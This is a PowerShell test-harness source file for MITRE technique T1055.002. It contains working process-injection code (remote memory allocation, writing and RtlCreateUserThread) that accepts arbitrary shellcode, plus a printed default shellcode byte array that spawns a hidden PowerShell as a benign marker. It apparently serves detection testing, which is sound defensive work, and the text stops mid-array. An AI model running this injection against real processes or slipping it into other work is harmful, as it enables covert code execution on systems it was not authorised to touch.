Windows/TestHarnesses/T1055.002_PortableExecutableInjection/InvokeThread.ps1

if (-not ('AtomicTestHarnesses_T1055_002.ProcessNativeMethods' -as [Type])) {
    $TypeDef = @'
using System;
using System.Runtime.InteropServices;
 
namespace AtomicTestHarnesses_T1055_002 {
    [Flags]
    public enum ProcessAccess {
        PROCESS_CREATE_THREAD = 0x00000002, // Required for: RtlCreateUserThread
        PROCESS_VM_OPERATION = 0x00000008, // Required for: VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, RtlCreateUserThread
        PROCESS_VM_READ = 0x00000010, // Required for: RtlCreateUserThread
        PROCESS_VM_WRITE = 0x00000020, // Required for: VirtualProtectEx, RtlCreateUserThread
        PROCESS_QUERY_INFORMATION = 0x00000400, // Required for: RtlCreateUserThread
        PROCESS_ALL_ACCESS = 0x001FFFFF
    }
 
    public enum PageProtection {
        PAGE_READWRITE = 0x04,
        PAGE_EXECUTE_READ = 0x20,
        PAGE_EXECUTE_READWRITE = 0x40
    }
 
    public class ProcessNativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(
            int processAccess,
            bool bInheritHandle,
            int processId);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool IsWow64Process(
            IntPtr hProcess,
            ref bool Wow64Process);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            int flAllocationType,
            int flProtect);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            ref uint lpNumberOfBytesWritten);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            int flNewProtect,
            ref uint lpflOldProtect);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int RtlCreateUserThread(
            IntPtr ProcessHandle,
            IntPtr SecurityDescriptor,
            bool CreateSuspended,
            IntPtr StackZeroBits,
            IntPtr StackReserved,
            IntPtr StackCommit,
            IntPtr StartAddress,
            IntPtr StartParameter,
            ref IntPtr ThreadHandle,
            ref IntPtr ClientID);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(
            IntPtr hObject);
    }
}
'@


    Add-Type -TypeDefinition $TypeDef
}

function Invoke-ATHInjectedThread {
<#
.SYNOPSIS
 
Test runner for "Portable Executable" process injection.
 
Technique ID: T1055.002 (Process Injection: Portable Executable Injection)
 
.DESCRIPTION
 
Invoke-ATHInjectedThread injects position-independent code into a target process using the RtlCreateUserThread API. Despite the naming of the "Portable Executable Injection" technique, injection of a Portable Executable (PE) file is not necessary to conduct this technique. When Portable Executable are injected using this technique, they are built in a position-independent fashion that have a PE self-loading capability.
 
Invoke-ATHInjectedThread is designed to only inject into 64-bit processes.
 
.PARAMETER ProcessId
 
Specifies the process ID of the target process that Invoke-ATHInjectedThread will inject into. If -ProcessId is not specified, Invoke-ATHInjectedThread will launch a notepad.exe process that it will inject code into.
 
.PARAMETER ProcessAccessType
 
Specifies the access rights to request of the target process in order to perform injection. Possible values are MinimumAccess and AllAccess. MinimumAccess requests the minimum set of access rights required to perform injection: PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION. AllAccess requests PROCESS_ALL_ACCESS for the target process. If -ProcessAccessType is not specified, MinimumAccess is used as the default value.
 
.PARAMETER MemoryProtectionType
 
Specifies the memory protection type of the injected code at time of execution. Possible values are ReadWriteExecute and ReadExecute. If -MemoryProtectionType is not specified, ReadWriteExecute is used as a default value. ReadWriteExecute is the most flexible option that would permit the execution of self-modifying position-independent code. ReadExecute is ideal when self-modifying code is not needed and the minimum set of permissions necessary to execute is desired.
 
.PARAMETER PositionIndependentCodeBytes
 
Specifies user-supplied position-independent code to inject into the target process. If -PositionIndependentCodeBytes is not specified, default template code will be used. The default template code is useful for confirming that the injected code executed successfully.
 
.PARAMETER TestGuid
 
Optionally, specify a test GUID value to use to override the generated test GUID behavior.
 
.INPUTS
 
System.Diagnostics.Process
 
Invoke-ATHInjectedThread accepts the output of Get-Process. Only one Process object should be supplied to Invoke-ATHInjectedThread.
 
Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process
 
Invoke-ATHInjectedThread accepts the output of a Win32_Process WMI object via Get-CimInstance.
 
.OUTPUTS
 
PSObject
 
Outputs an object consisting of relevant execution details. The following object properties may be populated:
 
* TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
* TestSuccess - Will be set to True if it was determined that the technique executed successfully. Invoke-ATHInjectedThread can only confidently determine success when user-supplied position-independent code is not supplied via -PositionIndependentCodeBytes - i.e. the built-in template code is used.
* TestGuid - Specifies the test GUID that was used for the test.
* InjectedCodeBytes - Specifies a byte array consisting of the raw bytes that were injected into the target process.
* InjectedCodeHash - SHA256 hash of the bytes injected into the target process.
* SourceProcessId - Specifies the process ID of the process that performed the injection - i.e. the current PowerShell process.
* SourceExecutablePath - Specifies the executable path of the process that performed the injection - i.e. the current PowerShell process.
* SourceCommandLine - Specifies the command-line of the process that performed the injection - i.e. the current PowerShell process.
* TargetProcessId - Specifies the process ID of the process that Invoke-ATHInjectedThread injects into.
* TargetExecutablePath - Specifies the executable path of the process that Invoke-ATHInjectedThread injects into.
* TargetCommandLine - Specifies the command-line of the process that Invoke-ATHInjectedThread injects into.
* TargetProcessAccess - Specifies the process access rights requested of the target process.
* TargetProcessAccessValue - Specifies the process access rights requested of the target process as a decimal value.
* TargetBaseAddressHex - Specifies the base address of the memory that Invoke-ATHInjectedThread allocates in the target process.
* TargetAllocationPageProtect - Specifies the memory page protection of the position-independent code in the target process at time of execution. Possible values are PAGE_EXECUTE_READ and PAGE_EXECUTE_READWRITE.
* TargetAllocationPageProtectValue - Specifies the memory page protection of the position-independent code in the target process at time of execution as a decimal value.
* TargetThreadId - Specifies the thread ID of the new thread that Invoke-ATHInjectedThread creates in the target process.
* TargetChildProcessId - Specifies the process ID of the powershell.exe process that spawned as the result of the template position-independent code successfully executing. This property will only be populated by Invoke-ATHInjectedThread when an argument is supplied to -PositionIndependentCodeBytes by a user.
* TargetChildProcessCommandLine - Specifies the command-line of the powershell.exe process that spawned as the result of the template position-independent code successfully executing. This property will only be populated by Invoke-ATHInjectedThread when an argument is supplied to -PositionIndependentCodeBytes by a user.
 
.EXAMPLE
 
Invoke-ATHInjectedThread
 
Injects template code into a spawned notepad.exe process.
 
.EXAMPLE
 
Get-Process explorer | Invoke-ATHInjectedThread
 
Injects template code into explorer.exe.
 
.EXAMPLE
 
Invoke-ATHInjectedThread -PositionIndependentCodeBytes @(0x90, 0x90, 0x90, 0xC3)
 
Injects user-supplied position-independent code into a spawned notepad.exe process.
 
.EXAMPLE
 
Get-Process explorer | Invoke-ATHInjectedThread -PositionIndependentCodeBytes @(0x90, 0x90, 0x90, 0xC3)
 
Injects user-supplied position-independent code into explorer.exe.
 
.EXAMPLE
 
Invoke-ATHInjectedThread -ProcessAccessType AllAccess
 
Specifies PROCESS_ALL_ACCESS access to a spawned notepad.exe process that it injects template code into.
 
.EXAMPLE
 
Invoke-ATHInjectedThread -MemoryProtectionType ReadExecute
 
Executes injected code from a PAGE_EXECUTE_READ page instead of using default PAGE_EXECUTE_READWRITE permissions.
#>


    [CmdletBinding()]
    param (
        [Parameter(ValueFromPipelineByPropertyName)]
        [Int32]
        [Alias('Id')]
        $ProcessId,

        [String]
        [ValidateSet('MinimumAccess', 'AllAccess')]
        $ProcessAccessType = 'MinimumAccess',

        [String]
        [ValidateSet('ReadWriteExecute', 'ReadExecute')]
        $MemoryProtectionType = 'ReadWriteExecute',

        [Byte[]]
        [ValidateNotNullOrEmpty()]
        $PositionIndependentCodeBytes,

        [Guid]
        $TestGuid = (New-Guid)
    )

    #region Setup
    $TestGuidToUse = $TestGuid
    $TestSuccess = $null
    $SpawnedProcProcessId = $null
    $SpawnedProcCommandLine = $null

    # The following template code launches a PowerShell child process with the following command-line:
    # powershell.exe -nop -Command Write-Host AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA; Start-Sleep -Seconds 2; exit
    # The AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA guid is replaced dynamically based on $TestGuid and is used to validate the successful execution of the injected code in a safe fashion.

    # SHA256 Hash: E06AE84E0EACCCB32E8A09A664DA565E8A052D1CC9432DD5E0478470937BF5EA
    # VirusTotal: https://www.virustotal.com/gui/file/e06ae84e0eacccb32e8a09a664da565e8a052d1cc9432dd5e0478470937bf5ea/details

    # The code below was generated with the following C code that was compiled in a position-indepedent fashion:
    <#
        #define WIN32_LEAN_AND_MEAN
 
        #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
 
        #include "GetProcAddressWithHash.h"
        #include "64BitHelper.h"
        #include <windows.h>
        #include <intrin.h>
 
        typedef BOOL(WINAPI* FuncCreateProcess) (
            _In_opt_ LPCTSTR lpApplicationName,
            _Inout_opt_ LPTSTR lpCommandLine,
            _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
            _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
            _In_ BOOL bInheritHandles,
            _In_ DWORD dwCreationFlags,
            _In_opt_ LPVOID lpEnvironment,
            _In_opt_ LPCTSTR lpCurrentDirectory,
            _In_ LPSTARTUPINFO lpStartupInfo,
            _Out_ LPPROCESS_INFORMATION lpProcessInformation
            );
 
        typedef DWORD(WINAPI* FuncWaitForSingleObject) (
            _In_ HANDLE hHandle,
            _In_ DWORD dwMilliseconds
            );
 
        VOID Execute(VOID)
        {
            FuncCreateProcess MyCreateProcessA;
            FuncWaitForSingleObject MyWaitForSingleObject;
 
            STARTUPINFO StartupInfo;
            PROCESS_INFORMATION ProcessInformation;
 
            // Hardcoded C:\ path to powershell.exe was used to support injection into processes where %PATH% is not populated.
            // For the sake of simplicity, this is the most straightforward solution.
            char cmdline[] = { 'C', ':', '\\', 'W', 'I', 'N', 'D', 'O', 'W', 'S', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', 'P', 'o', 'w', 'e', 'r', 'S', 'h', 'e', 'l', 'l', '\\', 'v', '1', '.', '0', '\\', 'p', 'o', 'w', 'e', 'r', 's', 'h', 'e', 'l', 'l', '.', 'e', 'x', 'e', ' ', '-', 'n', 'o', 'p', ' ', '-', 'n', 'o', 'n', 'i', ' ', '-', 'C', 'o', 'm', 'm', 'a', 'n', 'd', ' ', 'W', 'r', 'i', 't', 'e', '-', 'H', 'o', 's', 't', ' ', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', ';', ' ', 'S', 't', 'a', 'r', 't', '-', 'S', 'l', 'e', 'e', 'p', ' ', '-', 'S', 'e', 'c', 'o', 'n', 'd', 's', ' ', '2', ';', ' ', 'e', 'x', 'i', 't', 0 };
 
            SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
            SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
 
        #pragma warning( push )
        #pragma warning( disable : 4055 ) // Ignore cast warnings
 
            MyCreateProcessA = (FuncCreateProcess)GetProcAddressWithHash(0x863FCC79);
 
        #pragma warning( pop )
 
            StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
            StartupInfo.wShowWindow = SW_HIDE;
            StartupInfo.cb = sizeof(StartupInfo);
 
            MyCreateProcessA(
                NULL,
                (LPTSTR)cmdline,
                NULL,
                NULL,
                FALSE,
                0,
                NULL,
                NULL,
                &StartupInfo,
                &ProcessInformation
            );
        }
    #>

    [Byte[]] $TemplatePositionIndependentCodeBytes = @(
        0x48,0x83,0xEC,0x28,0xE8,0xB7,0x07,0x00,0x00,0x48,0x83,0xC4,0x28,0xC3,0xCC,0xCC,
        0x89,0x4C,0x24,0x08,0x56,0x57,0x48,0x81,0xEC,0x88,0x00,0x00,0x00,0x65,0x48,0x8B,
        0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x48,0x48,0x8B,0x44,0x24,0x48,
        0x48,0x8B,0x40,0x18,0x48,0x89,0x44,0x24,0x50,0x48,0x8B,0x44,0x24,0x50,0x48,0x8B,
        0x40,0x10,0x48,0x89,0x44,0x24,0x58,0x48,0x8B,0x44,0x24,0x58,0x48,0x89,0x44,0x24,
        0x28,0x48,0x8B,0x44,0x24,0x28,0x48,0x83,0x78,0x30,0x00,0x0F,0x84,0x35,0x02,0x00,
        0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x48,0x8B,0x44,0x24,0x28,0x48,0x8B,
        0x40,0x30,0x48,0x89,0x44,0x24,0x18,0x48,0x8D,0x44,0x24,0x70,0x48,0x8B,0x4C,0x24,
        0x28,0x48,0x8B,0xF8,0x48,0x8D,0x71,0x58,0xB9,0x10,0x00,0x00,0x00,0xF3,0xA4,0x48,
        0x8B,0x44,0x24,0x18,0x48,0x63,0x40,0x3C,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,
        0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x60,0xB8,0x08,0x00,0x00,0x00,0x48,0x6B,0xC0,
        0x00,0x48,0x8B,0x4C,0x24,0x60,0x8B,0x84,0x01,0x88,0x00,0x00,0x00,0x89,0x44,0x24,
        0x24,0x48,0x8B,0x44,0x24,0x28,0x48,0x8B,0x00,0x48,0x89,0x44,0x24,0x28,0x83,0x7C,
        0x24,0x24,0x00,0x75,0x05,0xE9,0x77,0xFF,0xFF,0xFF,0xC7,0x04,0x24,0x00,0x00,0x00,
        0x00,0xEB,0x08,0x8B,0x04,0x24,0xFF,0xC0,0x89,0x04,0x24,0x0F,0xB7,0x44,0x24,0x72,
        0x39,0x04,0x24,0x73,0x60,0x8B,0x04,0x24,0x48,0x8B,0x4C,0x24,0x78,0x48,0x03,0xC8,
        0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x10,0x8B,0x44,0x24,0x04,0xC1,0xE8,0x0D,0x8B,
        0x4C,0x24,0x04,0xC1,0xE1,0x13,0x0B,0xC1,0x89,0x44,0x24,0x04,0x48,0x8B,0x44,0x24,
        0x10,0x0F,0xBE,0x00,0x83,0xF8,0x61,0x7C,0x16,0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE,
        0x00,0x8B,0x4C,0x24,0x04,0x8D,0x44,0x01,0xE0,0x89,0x44,0x24,0x04,0xEB,0x14,0x48,
        0x8B,0x44,0x24,0x10,0x0F,0xBE,0x00,0x8B,0x4C,0x24,0x04,0x03,0xC8,0x8B,0xC1,0x89,
        0x44,0x24,0x04,0xEB,0x8E,0x8B,0x44,0x24,0x24,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,
        0xC8,0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x30,0x48,0x8B,0x44,0x24,0x30,0x8B,0x40,
        0x18,0x89,0x44,0x24,0x38,0x48,0x8B,0x44,0x24,0x30,0x8B,0x40,0x20,0x48,0x8B,0x4C,
        0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x40,0xC7,0x04,0x24,
        0x00,0x00,0x00,0x00,0xEB,0x08,0x8B,0x04,0x24,0xFF,0xC0,0x89,0x04,0x24,0x8B,0x44,
        0x24,0x38,0x39,0x04,0x24,0x0F,0x83,0xE6,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,
        0x00,0x00,0x00,0x48,0x8B,0x44,0x24,0x40,0x8B,0x00,0x48,0x03,0x44,0x24,0x18,0x48,
        0x89,0x44,0x24,0x68,0x48,0x8B,0x44,0x24,0x40,0x48,0x83,0xC0,0x04,0x48,0x89,0x44,
        0x24,0x40,0x48,0x8B,0x44,0x24,0x68,0x48,0x89,0x44,0x24,0x10,0x8B,0x44,0x24,0x08,
        0xC1,0xE8,0x0D,0x8B,0x4C,0x24,0x08,0xC1,0xE1,0x13,0x0B,0xC1,0x89,0x44,0x24,0x08,
        0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE,0x00,0x8B,0x4C,0x24,0x08,0x03,0xC8,0x8B,0xC1,
        0x89,0x44,0x24,0x08,0x48,0x8B,0x44,0x24,0x10,0x48,0xFF,0xC0,0x48,0x89,0x44,0x24,
        0x10,0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE,0x40,0xFF,0x85,0xC0,0x75,0xBE,0x8B,0x44,
        0x24,0x04,0x8B,0x4C,0x24,0x08,0x03,0xC8,0x8B,0xC1,0x89,0x44,0x24,0x08,0x8B,0x84,
        0x24,0xA0,0x00,0x00,0x00,0x39,0x44,0x24,0x08,0x75,0x51,0x48,0x8B,0x44,0x24,0x30,
        0x8B,0x40,0x24,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0x8B,0x0C,
        0x24,0xD1,0xE1,0x8B,0xC9,0x0F,0xB7,0x04,0x08,0x66,0x89,0x44,0x24,0x20,0x48,0x8B,
        0x44,0x24,0x30,0x8B,0x40,0x1C,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,
        0xC1,0x0F,0xB7,0x4C,0x24,0x20,0xC1,0xE1,0x02,0x48,0x63,0xC9,0x8B,0x04,0x08,0x48,
        0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0xEB,0x0C,0xE9,0x05,0xFF,0xFF,
        0xFF,0xE9,0xBB,0xFD,0xFF,0xFF,0x33,0xC0,0x48,0x81,0xC4,0x88,0x00,0x00,0x00,0x5F,
        0x5E,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
        0x48,0x81,0xEC,0x88,0x01,0x00,0x00,0xC6,0x44,0x24,0x50,0x43,0xC6,0x44,0x24,0x51,
        0x3A,0xC6,0x44,0x24,0x52,0x5C,0xC6,0x44,0x24,0x53,0x57,0xC6,0x44,0x24,0x54,0x49,
        0xC6,0x44,0x24,0x55,0x4E,0xC6,0x44,0x24,0x56,0x44,0xC6,0x44,0x24,0x57,0x4F,0xC6,
        0x44,0x24,0x58,0x57,0xC6,0x44,0x24,0x59,0x53,0xC6,0x44,0x24,0x5A,0x5C,0xC6,0x44,
        0x24,0x5B,0x53,0xC6,0x44,0x24,0x5C,0x79,0xC6,0x44,0x24,0x5D,0x73,0xC6,0x44,0x24,
        0x5E,0x74,0xC6,0x44,0x24,0x5F,0x65,0xC6,0x44,0x24,0x60,0x6D,0xC6,0x44,0x24,0x61,
        0x33,0xC6,0x44,0x24,0x62,0x32,0xC6,0x44,0x24,0x63,0x5C,0xC6,0x44,0x24,0x64,0x57,
        0xC6,0x44,0x24,0x65,0x69,0xC6,0x44,0x24,0x66,0x6E,0xC6,0x44,0x24,0x67,0x64,0xC6,
        0x44,0x24,0x68,0x6F,0xC6,0x44,0x24,0x69,0x77,0xC6,0x44,0x24,0x6A,0x73,0xC6,0x44,
        0x24,0x6B,0x50,0xC6,0x44,0x24,0x6C,0x6F,0xC6,0x44,0x24,0x6D,0x77,0xC6,0x44,0x24,
        0x6E,0x65,0xC6,0x44,0x24,0x6F,0x72,0xC6,0x44,0x24,0x70,0x53,0xC6,0x44,0x24,0x71,
        0x68,0xC6,0x44,0x24,0x72,0x65,0xC6,0x44,0x24,0x73,0x6C,0xC6,0x44,0x24,0x74,0x6C,
        0xC6,0x44,0x24,0x75,0x5C,0xC6,0x44,0x24,0x76,0x76,0xC6,0x44,0x24,0x77,0x31,0xC6,
        0x44,0x24,0x78,0x2E,0xC6,0x44,0x24,0x79,0x30,0xC6,0x44,0x24,0x7A,0x5C,0xC6,0x44,
        0x24,0x7B,0x70,0xC6,0x44,0x24,0x7C,0x6F,0xC6,0x44,0x24,0x7D,0x77,0xC6,0x44,0x24,
        0x7E,0x65,0xC6,0x44,0x24,0x7F,0x72,0xC6,0x84,0x24,0x80,0x00,0x00,0x00,0x73,0xC6,
        0x84,0x24,0x81,0x00,0x00,0x00,0x68,0xC6,0x84,0x24,0x82,0x00,0x00,0x00,0x65,0xC6,
        0x84,0x24,0x83,0x00,0x00,0x00,0x6C,0xC6,0x84,0x24,0x84,0x00,0x00,0x00,0x6C,0xC6,
        0x84,0x24,0x85,0x00,0x00,0x00,0x2E,0xC6,0x84,0x24,0x86,0x00,0x00,0x00,0x65,0xC6,
        0x84,0x24,0x87,0x00,0x00,0x00,0x78,0xC6,0x84,0x24,0x88,0x00,0x00,0x00,0x65,0xC6,
        0x84,0x24,0x89,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0x8A,0x00,0x00,0x00,0x2D,0xC6,
        0x84,0x24,0x8B,0x00,0x00,0x00,0x6E,0xC6,0x84,0x24,0x8C,0x00,0x00,0x00,0x6F,0xC6,
        0x84,0x24,0x8D,0x00,0x00,0x00,0x70,0xC6,0x84,0x24,0x8E,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0x8F,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0x90,0x00,0x00,0x00,0x6E,0xC6,
        0x84,0x24,0x91,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0x92,0x00,0x00,0x00,0x6E,0xC6,
        0x84,0x24,0x93,0x00,0x00,0x00,0x69,0xC6,0x84,0x24,0x94,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0x95,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0x96,0x00,0x00,0x00,0x43,0xC6,
        0x84,0x24,0x97,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0x98,0x00,0x00,0x00,0x6D,0xC6,
        0x84,0x24,0x99,0x00,0x00,0x00,0x6D,0xC6,0x84,0x24,0x9A,0x00,0x00,0x00,0x61,0xC6,
        0x84,0x24,0x9B,0x00,0x00,0x00,0x6E,0xC6,0x84,0x24,0x9C,0x00,0x00,0x00,0x64,0xC6,
        0x84,0x24,0x9D,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0x9E,0x00,0x00,0x00,0x57,0xC6,
        0x84,0x24,0x9F,0x00,0x00,0x00,0x72,0xC6,0x84,0x24,0xA0,0x00,0x00,0x00,0x69,0xC6,
        0x84,0x24,0xA1,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xA2,0x00,0x00,0x00,0x65,0xC6,
        0x84,0x24,0xA3,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xA4,0x00,0x00,0x00,0x48,0xC6,
        0x84,0x24,0xA5,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0xA6,0x00,0x00,0x00,0x73,0xC6,
        0x84,0x24,0xA7,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xA8,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0xA9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAA,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xAB,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAC,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xAD,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAE,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xAF,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB0,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xB1,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xB2,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xB3,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB4,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xB5,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB6,0x00,0x00,0x00,0x2D,0xC6,
        0x84,0x24,0xB7,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB8,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xB9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xBA,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xBB,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xBC,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xBD,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xBE,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xBF,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC0,0x00,0x00,0x00,0x2D,0xC6,
        0x84,0x24,0xC1,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC2,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xC3,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC4,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xC5,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC6,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xC7,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC8,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xC9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xCA,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xCB,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xCC,0x00,0x00,0x00,0x41,0xC6,
        0x84,0x24,0xCD,0x00,0x00,0x00,0x3B,0xC6,0x84,0x24,0xCE,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0xCF,0x00,0x00,0x00,0x53,0xC6,0x84,0x24,0xD0,0x00,0x00,0x00,0x74,0xC6,
        0x84,0x24,0xD1,0x00,0x00,0x00,0x61,0xC6,0x84,0x24,0xD2,0x00,0x00,0x00,0x72,0xC6,
        0x84,0x24,0xD3,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xD4,0x00,0x00,0x00,0x2D,0xC6,
        0x84,0x24,0xD5,0x00,0x00,0x00,0x53,0xC6,0x84,0x24,0xD6,0x00,0x00,0x00,0x6C,0xC6,
        0x84,0x24,0xD7,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xD8,0x00,0x00,0x00,0x65,0xC6,
        0x84,0x24,0xD9,0x00,0x00,0x00,0x70,0xC6,0x84,0x24,0xDA,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0xDB,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xDC,0x00,0x00,0x00,0x53,0xC6,
        0x84,0x24,0xDD,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xDE,0x00,0x00,0x00,0x63,0xC6,
        0x84,0x24,0xDF,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0xE0,0x00,0x00,0x00,0x6E,0xC6,
        0x84,0x24,0xE1,0x00,0x00,0x00,0x64,0xC6,0x84,0x24,0xE2,0x00,0x00,0x00,0x73,0xC6,
        0x84,0x24,0xE3,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0xE4,0x00,0x00,0x00,0x32,0xC6,
        0x84,0x24,0xE5,0x00,0x00,0x00,0x3B,0xC6,0x84,0x24,0xE6,0x00,0x00,0x00,0x20,0xC6,
        0x84,0x24,0xE7,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xE8,0x00,0x00,0x00,0x78,0xC6,
        0x84,0x24,0xE9,0x00,0x00,0x00,0x69,0xC6,0x84,0x24,0xEA,0x00,0x00,0x00,0x74,0xC6,
        0x84,0x24,0xEB,0x00,0x00,0x00,0x00,0xBA,0x68,0x00,0x00,0x00,0x48,0x8D,0x8C,0x24,
        0x10,0x01,0x00,0x00,0xE8,0xC7,0x00,0x00,0x00,0xBA,0x18,0x00,0x00,0x00,0x48,0x8D,
        0x8C,0x24,0xF8,0x00,0x00,0x00,0xE8,0xB5,0x00,0x00,0x00,0xB9,0x79,0xCC,0x3F,0x86,
        0xE8,0xDB,0xF8,0xFF,0xFF,0x48,0x89,0x84,0x24,0xF0,0x00,0x00,0x00,0xC7,0x84,0x24,
        0x4C,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x33,0xC0,0x66,0x89,0x84,0x24,0x50,0x01,
        0x00,0x00,0xC7,0x84,0x24,0x10,0x01,0x00,0x00,0x68,0x00,0x00,0x00,0x48,0x8D,0x84,
        0x24,0xF8,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x48,0x48,0x8D,0x84,0x24,0x10,0x01,
        0x00,0x00,0x48,0x89,0x44,0x24,0x40,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,
        0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,
        0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x33,0xC9,0x45,0x33,0xC0,0x48,
        0x8D,0x54,0x24,0x50,0x33,0xC9,0xFF,0x94,0x24,0xF0,0x00,0x00,0x00,0x48,0x81,0xC4,
        0x88,0x01,0x00,0x00,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
        0x56,0x48,0x8B,0xF4,0x48,0x83,0xE4,0xF0,0x48,0x83,0xEC,0x20,0xE8,0xDF,0xFA,0xFF,
